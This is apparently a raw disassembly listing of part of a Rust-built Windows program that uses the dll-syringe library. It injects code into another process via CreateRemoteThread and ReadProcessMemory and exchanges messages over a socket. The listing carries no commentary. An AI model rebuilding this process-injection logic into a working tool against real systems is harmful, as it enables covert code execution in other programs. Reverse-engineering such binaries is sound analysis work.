cmp eax, 0x1b
jbe 0x14001353f
movzx eax, word [rbp + 0x1172]
rol ax, 8
movdqu xmm0, xmmword [rbp + 0x1178]
mov edx, dword [rbp + 0x1174]
mov ecx, dword [rbp + 0x1188]
movq r9, xmm0
pshufd xmm1, xmm0, 0xee
movq r8, xmm1
shld r8, r9, 0x20
movdqu xmmword [rbp + 0x1722], xmm0
pshufd xmm0, xmm0, 0xff
movd r10d, xmm0
mov r9w, 1
movzx r11d, word [rbp + 0x1724]
mov word [rbp + 0x16e4], r11w
mov r11d, dword [rbp + 0x1720]
mov dword [rbp + 0x16e0], r11d
mov r11d, dword [rbp + 0x16e0]
mov dword [rbp + 0x1578], r11d
movzx edi, word [rbp + 0x16e4]
mov word [rbp + 0x157c], di
mov dword [rbp + 0x16e0], 1
mov word [rbp + 0x1724], di
mov dword [rbp + 0x1720], r11d
mov qword [rbp + 0x1726], r8
mov dword [rbp + 0x172e], r10d
test r9w, r9w
je 0x140012647
push 0x1c
pop r8
mov r9w, 0x17
movdqu xmm0, xmmword [rbp + 0x1722]
jmp 0x140012661
movzx eax, word [rbp + 0x1724]
mov edx, dword [rbp + 0x1720]
push 0x10
pop r8
mov r9w, 2
pxor xmm0, xmm0
rol ax, 8
mov word [rbp + 0x1170], r9w
mov word [rbp + 0x1172], ax
mov dword [rbp + 0x1174], edx
movdqu xmmword [rbp + 0x1178], xmm0
mov dword [rbp + 0x1188], ecx
mov dword [rsp + 0x28], r8d
mov qword [rsp + 0x20], rsi
lea rdx, [rbp + 0x16e0]
push 4
pop r8
mov rbx, qword [rbp + 0x16c8]
mov rcx, rbx
xor r9d, r9d
call qword [sym.imp.ws2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x1400133b5
lea rsi, str.combase.dll
lea rdi, [rbp + 0x1170]
mov rcx, rdi
mov rdx, rbx
mov r8, rsi
xor r9d, r9d
call fcn.14003d100
cmp qword [rdi], 0
je 0x140012710
mov rcx, qword [rbp + 0x1178]
mov byte [rbp + 0x17c7], 0
call fcn.1400450ae
mov rcx, qword [rbp + 0x16d8]
mov qword [rcx + 8], rax
mov byte [rcx], 1
lea rcx, [rbp + 0x1580]
call fcn.1400143aa
jmp 0x140012812
lea rcx, [rbp + 0x1580]
call fcn.1400143aa
lea rax, str.done__running_code_n
lea rcx, [rbp + 0x1170]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], rsi
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
call fcn.14003ccb0
mov r8, qword [rbp + 0x1668]
lea rcx, [rbp + 0x1170]
lea r9, [rbp + 0x16d6]
mov rdx, qword [rbp + 0x16c0]
call fcn.14000fc73
mov rax, qword [rbp + 0x1170]
cmp rax, 9
jne 0x1400127e4
lea rax, str.waiting_for_call._n
lea rcx, [rbp + 0x1170]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], rsi
movups xmmword [rcx + 0x18], xmm6
call fcn.14003ccb0
lea r8, [rbp + 0x1580]
movaps xmmword [r8 + 0x10], xmm6
movaps xmmword [r8], xmm6
push 0x20
pop r9
mov rcx, rdi
mov rdx, qword [rbp + 0x16c8]
call fcn.14003d100
cmp qword [rdi], 0
je 0x140012859
mov rcx, qword [rbp + 0x1178]
call fcn.1400450ae
mov rcx, qword [rbp + 0x16d8]
mov qword [rcx + 8], rax
mov byte [rcx], 1
jmp 0x140012812
mov rcx, qword [rbp + 0x1188]
lea rdx, [rbp + 0xfd8]
mov qword [rdx + 0x18], rcx
movdqu xmm0, xmmword [rbp + 0x1178]
movdqu xmmword [rdx + 8], xmm0
mov qword [rdx], rax
mov rcx, qword [rbp + 0x16d8]
call fcn.1400142ab
mov rcx, qword [rbp + 0x16c8]
call qword [sym.imp.ws2_32.dll_closesocket]
mov rcx, qword [rbp + 0x1670]
call fcn.14000fcc7
mov rcx, qword [rbp + 0x1650]
mov rdx, qword [rbp + 0x1648]
call fcn.140014295
movaps xmm6, xmmword [rbp + 0x17d0]
add rsp, 0x1868
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rax, str.recieved_key__term_n
lea rcx, [rbp + 0x1170]
mov qword [rcx], rax
mov qword [rcx + 8], 1
mov qword [rcx + 0x10], rsi
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
call fcn.14003ccb0
movaps xmm0, xmmword [rbp + 0x1580]
movaps xmm1, xmmword [rbp + 0x1590]
mov rax, qword [rbp + 0x16d8]
movups xmmword [rax + 1], xmm0
movups xmmword [rax + 0x11], xmm1
mov byte [rax], 0
mov rcx, qword [rbp + 0x16c8]
call qword [sym.imp.ws2_32.dll_closesocket]
mov rcx, qword [rbp + 0x1670]
call fcn.14000fcc7
jmp 0x14001282b
movabs rdx, 0x8000000000000001
cmp rax, rdx
jne 0x140012a01
mov qword [rbp + 0x1790], r13
jmp 0x14001232f
mov qword [rbp + 0x1680], r14
mov qword [rbp + 0x1688], rdi
mov qword [rbp + 0x1690], r15
mov rcx, qword [rbp + 0x1678]
mov rax, qword [rcx]
mov r9, qword [rcx + 8]
mov rcx, qword [rax + 0x10]
and qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdi
and dword [rsp + 0x28], 0
xor edx, edx
xor r8d, r8d
call sub.kernel32.dll_CreateRemoteThread
test rax, rax
je 0x140012a40
push 0xffffffffffffffff
pop rdx
mov qword [rbp + 0x1798], rax
mov rcx, rax
call sub.kernel32.dll_WaitForSingleObject
cmp eax, 0xffffffff
je 0x140012a29
lea rdx, [rbp + 0x1170]
mov rcx, qword [rbp + 0x1798]
call sub.kernel32.dll_GetExitCodeThread
test eax, eax
je 0x140012a29
mov r14d, dword [rbp + 0x1170]
mov rcx, qword [rbp + 0x1798]
call qword [sym.imp.kernel32.dll_CloseHandle]
lea eax, [r14 + 0x3fffff74]
cmp eax, 0xb
jb 0x140012d96
lea eax, [r14 + 0x3ffffffb]
cmp eax, 0x21
jbe 0x140012d82
lea eax, [r14 + 0x7fffffff]
cmp eax, 0x28
ja 0x1400129b5
movabs rcx, 0x1000000000f
bt rcx, rax
jb 0x140012d96
cmp r14d, 0xc00000fd
je 0x140012d96
test r14d, r14d
jne 0x140012f3f
mov rcx, qword [rbp + 0x1678]
cmp qword [rcx + 0x28], 7
jbe 0x1400135a7
mov rax, qword [rcx + 0x18]
mov rsi, qword [rcx + 0x20]
mov rdi, qword [rax + 0x10]
mov rcx, rdi
call fcn.14000e878
test al, al
je 0x140012f52
mov rax, qword [rsi]
jmp 0x140012fa0
and dword [rbp + 0x16e0], 0
mov qword [rbp + 0x16e8], rax
mov qword [rbp + 0x16f0], r13
mov qword [rbp + 0x16f8], r12
mov qword [rbp + 0x1700], rcx
jmp 0x1400123d5
call fcn.14000a1a7
mov rsi, rax
mov rcx, qword [rbp + 0x1798]
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x140012a48
call fcn.14000a1a7
mov rsi, rax
lea rcx, [rbp + 0x1720]
mov rdx, rsi
call fcn.14000ebef
mov ebx, dword [rbp + 0x1720]
cmp ebx, 8
jne 0x140012ac6
mov rax, qword [rbp + 0x1728]
mov rcx, qword [rbp + 0x1580]
mov rcx, qword [rcx + 0x10]
mov qword [rbp + 0x16e8], rax
mov qword [rbp + 0x16f0], rcx
mov dword [rbp + 0x16e0], 8
lea rcx, [rbp + 0x1680]
call fcn.14000dfb2
mov rcx, qword [rbp + 0x1780]
mov rdx, qword [rbp + 0x1790]
call fcn.140015b33
mov rcx, qword [rbp + 0x17b8]
mov rdx, qword [rbp + 0x1778]
call fcn.140015033
push 8
pop rsi
jmp 0x1400123ea
mov r14d, dword [rbp + 0x1724]
mov rsi, qword [rbp + 0x1728]
jmp 0x140012daa
mov dword [rbp + 0x1798], 0
mov dword [rbp + 0x17b0], 0
jmp 0x140011d47
call fcn.14000ed50
mov r8, qword [0x1400c0050]
mov r9, qword [0x1400c0058]
mov rcx, qword [rbp + 0x17b8]
mov rdx, rbx
call fcn.14000eeb6
test al, al
je 0x140011d3a
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov al, 1
mov dword [rbp + 0x17b0], eax
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
jmp 0x140011d44
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
mov al, 1
mov dword [rbp + 0x17b0], eax
xor r13d, r13d
jmp 0x14001167e
lea rcx, [rbp + 0x1720]
mov rdx, qword [rbp + 0x17b8]
mov r8, r15
call fcn.14000ed98
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x17b8]
mov r8, r15
call fcn.14000edd3
xor eax, eax
lea rsi, [rbp + 0x1170]
cmp byte [rsi], 6
setne al
movdqu xmm0, xmmword [rbp + 0x1720]
movdqu xmm1, xmmword [rbp + 0x1730]
movdqu xmm2, xmmword [rbp + 0x1740]
movups xmm3, xmmword [rbp + 0x1750]
movups xmmword [rsi + 0x38], xmm3
movdqu xmmword [rsi + 0x28], xmm2
movdqu xmmword [rsi + 0x18], xmm1
movdqu xmmword [rsi + 8], xmm0
mov qword [rsi], rax
lea rdi, [rbp + 0x1760]
mov rcx, rsi
call fcn.14000ee38
test rax, rax
je 0x140012ca0
mov r8, rdx
mov rcx, rdi
mov rdx, rax
call fcn.14000ed08
jmp 0x140012bee
lea rcx, [rbp + 0x1720]
mov rdx, qword [rbp + 0x17b8]
call fcn.14000ed98
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x17b8]
mov r8, r15
call fcn.14000edd3
xor eax, eax
lea rsi, [rbp + 0x1170]
cmp byte [rsi], 6
setne al
movdqu xmm0, xmmword [rbp + 0x1720]
movdqu xmm1, xmmword [rbp + 0x1730]
movdqu xmm2, xmmword [rbp + 0x1740]
movups xmm3, xmmword [rbp + 0x1750]
movups xmmword [rsi + 0x38], xmm3
movdqu xmmword [rsi + 0x28], xmm2
movdqu xmmword [rsi + 0x18], xmm1
movdqu xmmword [rsi + 8], xmm0
mov qword [rsi], rax
lea rdi, [rbp + 0x1760]
mov rcx, rsi
call fcn.14000ee38
test rax, rax
je 0x140012cd5
mov r8, rdx
mov rcx, rdi
mov rdx, rax
call fcn.14000ed08
jmp 0x140012c83
mov rdx, qword [rbp + 0x1770]
cmp rdx, 2
jb 0x140012f2d
mov rcx, qword [rbp + 0x1768]
lea r9, [0x140048d98]
push 1
pop r8
call fcn.14000ee8d
mov rsi, rax
call fcn.14000ed50
jmp 0x140012d5a
mov rdx, qword [rbp + 0x1770]
cmp rdx, 2
jb 0x140012e47
mov rcx, qword [rbp + 0x1768]
lea r9, [0x140048dc8]
push 1
pop r8
call fcn.14000ee8d
mov rsi, rax
call fcn.14000ed50
mov r8, qword [0x1400c0050]
mov r9, qword [0x1400c0058]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.14000eeb1
mov dword [rbp + 0x17b0], eax
jmp 0x140012e51
mov rdx, qword [rbp + 0x1770]
cmp rdx, 2
jb 0x140012f2d
mov rcx, qword [rbp + 0x1768]
lea r9, [0x140048db0]
push 1
pop r8
call fcn.14000ee8d
mov rsi, rax
call fcn.14000ed50
mov r8, qword [0x1400c0050]
mov r9, qword [0x1400c0058]
mov rcx, qword [rsi]
mov rdx, qword [rsi + 8]
call fcn.14000eeb1
mov dword [rbp + 0x17b0], eax
mov r13b, 1
jmp 0x14001167e
movabs rcx, 0x30100000b
bt rcx, rax
jae 0x140012995
mov dword [rbp + 0x1720], ebx
mov dword [rbp + 0x1724], r14d
mov qword [rbp + 0x1728], rsi
cmp ebx, 3
jne 0x140012de6
lea rdi, [rbp + 0x1170]
mov rcx, rdi
mov rdx, rsi
call fcn.14000ec22
cmp byte [rdi], 0
jne 0x140012de6
cmp dword [rbp + 0x1174], 0xc1
jne 0x140012de6
lea rcx, [rbp + 0x1170]
mov qword [rcx], rsi
call fcn.14000ec75
push 6
pop rbx
jmp 0x140012e04
lea rax, [rbp + 0x1730]
mov rcx, qword [rax + 0x10]
mov qword [rbp + 0x1180], rcx
movdqu xmm0, xmmword [rax]
movdqa xmmword [rbp + 0x1170], xmm0
mov rax, qword [rbp + 0x1180]
mov qword [rbp + 0x1700], rax
movdqa xmm0, xmmword [rbp + 0x1170]
movdqu xmmword [rbp + 0x16f0], xmm0
mov dword [rbp + 0x16e0], ebx
mov dword [rbp + 0x16e4], r14d
mov qword [rbp + 0x16e8], rsi
lea rcx, [rbp + 0x1680]
call fcn.14000dfb2
jmp 0x1400123bb
mov dword [rbp + 0x17b0], 0
lea rcx, [rbp + 0x1130]
call fcn.14000f1ed
mov r8, rdx
mov r13b, 1
lea rcx, [rbp + 0x1760]
mov rdx, rax
call fcn.14000ed08
jmp 0x14001167e
lea rcx, [rbp + 0x1170]
mov rdx, qword [rbp + 0x17b8]
mov r8, r15
call fcn.14000edd3
cmp byte [rbp + 0x1170], 6
jne 0x140012eeb
call fcn.14000ed50
mov r8, qword [0x1400c0050]
mov r9, qword [0x1400c0058]
mov rcx, qword [rbp + 0x17b8]
mov rdx, r15
call fcn.14000eeb6
test al, al
je 0x140012f2d
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov al, 1
mov dword [rbp + 0x17b0], eax
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
mov r13b, 1
jmp 0x14001167e
mov rcx, qword [rbp + 0x17b8]
mov rdx, r15
call fcn.140035440
test al, al
je 0x140012f2d
call fcn.14000ed50
mov rdx, qword [0x1400c0050]
mov al, 1
mov dword [rbp + 0x17b0], eax
mov r8, qword [0x1400c0058]
lea rcx, [rbp + 0x1760]
call fcn.14000ed08
mov r13b, 1
jmp 0x14001167e
mov r13b, 1
mov dword [rbp + 0x17b0], 0
jmp 0x14001167e
movsxd rsi, r14d
shl rsi, 0x20
or rsi, 2
push 3
pop rbx
jmp 0x140012d96
lea rax, [rbp + 0x1130]
and qword [rax], 0
mov qword [rsp + 0x20], rax
lea r8, [rbp + 0x10d8]
push 8
pop r9
pop rcx
mov rcx, rdi
mov rdx, rsi
call sub.kernel32.dll_ReadProcessMemory
test eax, eax
je 0x14001300f
mov qword [rbp + 0x16e0], 8
cmp qword [rbp + 0x1130], 8
jne 0x1400135e2
mov rax, qword [rbp + 0x10d8]
test rax, rax
jne 0x140012a69
lea rcx, str.assertion_failed:__injected_module_handle.is_null__
lea r8, str.X:metadata_scooppersist_rustup.cargo_registry_srcindex.crates.io_6f17d22bba15001fdll_syringe_0.15.2_src_syringe.rsk
push 0x33
pop rdx
call fcn.140041cd0
jmp 0x140013607
lea rcx, [rbp + 0x1170]
call fcn.14000f433
test rsi, rsi
lea rcx, [0x140048f48]
cmovne rcx, rsi
lea r8, [rbp + 0x1170]
mov qword [r8], rcx
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x14004982f]
lea r9, fcn.14000ec75
push 0x15
pop rdx
call fcn.140042010
jmp 0x140013607
invalid
add byte [rax], al
call fcn.14000a1a7
lea rcx, [rbp + 0x1720]
mov rdx, rax
mov edx, eax
call fcn.14000ebef
jmp 0x140012a57
mov rcx, rdi
mov rdx, rsi
call fcn.14002127b
lea rcx, [0x140049883]
lea ecx, [0x140049883]
lea r8, str.srclib.rs
push 0x28
pop rdx
call fcn.1400420d0
jmp 0x140013607
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cb4d9a1902b3ea17e93872dafb76d24aa6295c47library_alloc_src_vecmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rs
add al, 0x1c
or al, byte [rax]
push 0x28
pop rdx
call fcn.140041cd0
jmp 0x140013607
lea r8, [0x140048f08]
mov rdx, rbx
call fcn.140041b50
jmp 0x140013607
lea r13, str.84_v_
lea r8, [rbp + 0x1170]
mov qword [r8], r13
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000ec75
push 0x2b
pop rdx
call fcn.140042010
jmp 0x140013607
lea rax, [0x1400b2a58]
mov qword [rsp + 0x20], rax
mov rcx, rbx
mov rdx, r13
mov r8, r14
mov r9, r13
call fcn.140042270
jmp 0x140013607
test r15, r15
jne 0x14001312c
call fcn.140002f80
jmp 0x140013607
movdqu xmm0, xmmword [rbp + 0x1170]
movdqu xmm1, xmmword [rbp + 0x1180]
lea r8, [rbp - 0x30]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_cstr
lea r9, [0x140048f80]
push 0xc
pop rdx
call fcn.140042010
jmp 0x140013607
mov rdx, qword [rbp + 0x16f0]
mov rcx, r15
call fcn.1400419b0
jmp 0x140013607
call fcn.14004077a
lea r8, [rbp - 0x30]
mov qword [r8], 1
movabs rax, 0x8000000000000000
mov qword [r8 + 8], rax
mov dword [r8 + 0x10], r14d
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000f8b5
push 0x2b
pop rdx
call fcn.140042010
jmp 0x140013607
mov rcx, qword [rbp - 0x28]
movdqu xmm0, xmmword [rbp - 0x20]
lea r8, [rbp + 0x1170]
movdqu xmmword [r8 + 0x10], xmm0
mov qword [r8], rax
mov qword [r8 + 8], rcx
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x140049790]
lea r9, fcn.14000f5f0
push 3
pop rdx
call fcn.140042010
jmp 0x140013607
lea rcx, [rbp - 0x28]
call fcn.1400312e0
lea rcx, [rbp + 0x1588]
mov qword [rcx], rbx
mov byte [rcx - 8], 1
call fcn.1400312e0
lea rax, str.file_does_not_exist
lea rcx, [rbp - 0x30]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.combase.dll
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str.srclib.rs
call fcn.140041b10
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140049000]
push 0x2b
pop rdx
lea r8, [rbp + 0x1170]
call fcn.140042010
jmp 0x140013607
mov rcx, qword [rbp + 0x1178]
mov rdx, qword [rbp + 0x1188]
lea r8, [rbp + 0x1580]
mov qword [r8 + 0x18], rdx
movdqu xmm0, xmmword [rbp + 0x117a]
movdqu xmmword [r8 + 0xa], xmm0
mov qword [r8], rax
mov word [r8 + 8], cx
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.failed_to_read_entry
lea r9, fcn.14000f5f0
push 0x14
pop rdx
call fcn.140042010
jmp 0x140013607
lea rcx, str.srclib.rs
call fcn.1400420b0
jmp 0x140013607
call fcn.14000a1a7
lea r8, [rbp + 0x1170]
mov qword [r8], rax
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000ec75
push 0x2b
pop rdx
call fcn.140042010
jmp 0x140013607
push 8
pop rcx
push 0x40
pop rdx
call fcn.1400419b0
jmp 0x140013607
lea r8, [rbp + 0x1170]
mov qword [r8], rdi
lea rax, str.library_std_src_syspalwindowsos.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.1400312e0
push 0x2b
pop rdx
call fcn.140042010
jmp 0x140013607
lea r8, [rbp + 0x1170]
mov rax, qword [rbp + 0x17a0]
mov qword [r8], rax
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000ec75
push 0x2b
pop rdx
call fcn.140042010
jmp 0x140013607
mov rax, qword [rbp + 0x1700]
lea r8, [rbp + 0x1170]
mov qword [r8 + 0x20], rax
movdqu xmm0, xmmword [rbp + 0x16e0]
movdqu xmm1, xmmword [rbp + 0x16f0]
movdqa xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001442b
push 0x2b
pop rdx
call fcn.140042010
jmp 0x140013607
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
lea r8, [rbp + 0x1170]
mov qword [r8], rax
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000ec75
push 0x2b
pop rdx
call fcn.140042010
jmp 0x140013607
mov rcx, qword [rbp + 0x1728]
jmp 0x140012fde
call fcn.140002f80
jmp 0x140013607
lea rax, str.library_std_src_syspalwindowsmod.rs
mov rcx, r8
mov rdx, r14
mov r8, rax
call fcn.140041c50
jmp 0x140013607
lea rax, str.invalid_argumentxP_v_
jmp 0x140013455
mov byte [rbp + 0x17af], 1
push 4
pop rcx
mov edx, 0x80
call fcn.1400419b0
jmp 0x140013607
xor ecx, ecx
jmp 0x140012fde
shl rax, 0x20
or rax, 2
lea r8, [rbp + 0x1170]
mov qword [r8], rax
lea rax, str.srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14000ec75
push 0x2b
pop rdx
call fcn.140042010
jmp 0x140013607
mov rax, qword [rbp + 0x1790]
mov qword [rbp + 0x1178], rax
mov eax, dword [rbp + 0x1780]
mov dword [rbp + 0x1180], eax
mov eax, dword [rbp + 0x1778]
mov dword [rbp + 0x1184], eax
mov rax, qword [rbp + 0x17b8]
mov qword [rbp + 0x1188], rax
movdqa xmm0, xmmword [rbp + 0x16e0]
movdqu xmmword [rbp + 0x1190], xmm0
mov rax, qword [rbp + 0x16f0]
mov qword [rbp + 0x11a0], rax
mov qword [rbp + 0x1170], rdi
lea rax, str.reentrant_init
lea rcx, [rbp + 0x1720]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.combase.dll
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str._rustc_cb4d9a1902b3ea17e93872dafb76d24aa6295c47librarycore_srccellonce.rs
call fcn.140041b10
jmp 0x140013607
mov byte [rbp + 0x17c7], 0
lea rcx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in___library_std_src_sys_common_net.rs
lea r8, [0x1400b5000]
push 0x42
pop rdx
call fcn.140041cd0
jmp 0x140013607
mov byte [rbp + 0x17c7], 0
lea rcx, str.assertion_failed:_len_as_usize___mem::size_of::_c::sockaddr_in6___
lea r8, [0x1400b5060]
push 0x43
pop rdx
call fcn.140041cd0
jmp 0x140013607
call fcn.140002f80
jmp 0x140013607
call fcn.140002f80
jmp 0x140013607
push 2
pop rcx
mov rdx, rdi
call fcn.1400419b0
jmp 0x140013607
push 4
pop rcx
push 0x20
pop rdx
call fcn.1400419b0
jmp 0x140013607
lea rcx, [0x140048e70]
call fcn.1400420b0
jmp 0x140013607
call fcn.140002f80
jmp 0x140013607
lea rax, [0x140048718]
lea rcx, [rbp + 0x1170]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.combase.dll
mov qword [rcx + 0x10], rax
pxor xmm0, xmm0
movdqu xmmword [rcx + 0x18], xmm0
lea rdx, str.X:metadata_scooppersist_rustup.cargo_registry_srcindex.crates.io_6f17d22bba15001fdll_syringe_0.15.2_srcprocessmemory_buffer.rsread_out_of_bounds
call fcn.140041b10
jmp 0x140013607
lea r8, [rbp + 0x1170]
and qword [r8], 0
lea r9, str.X:metadata_scooppersist_rustup.cargo_registry_srcindex.crates.io_6f17d22bba15001fdll_syringe_0.15.2_srcprocessmemory_buffer.rsread_out_of_bounds
lea rcx, [rbp + 0x1130]
lea rdx, [rbp + 0x16e0]
call fcn.14004519d
ud2
clc
invalid
ret
test edx, edx
jne case.0x140014441.2
mov rax, qword [rcx + 0x10]
mov rdx, qword [rcx + 0x18]
mov rcx, rax
jmp fcn.14002127b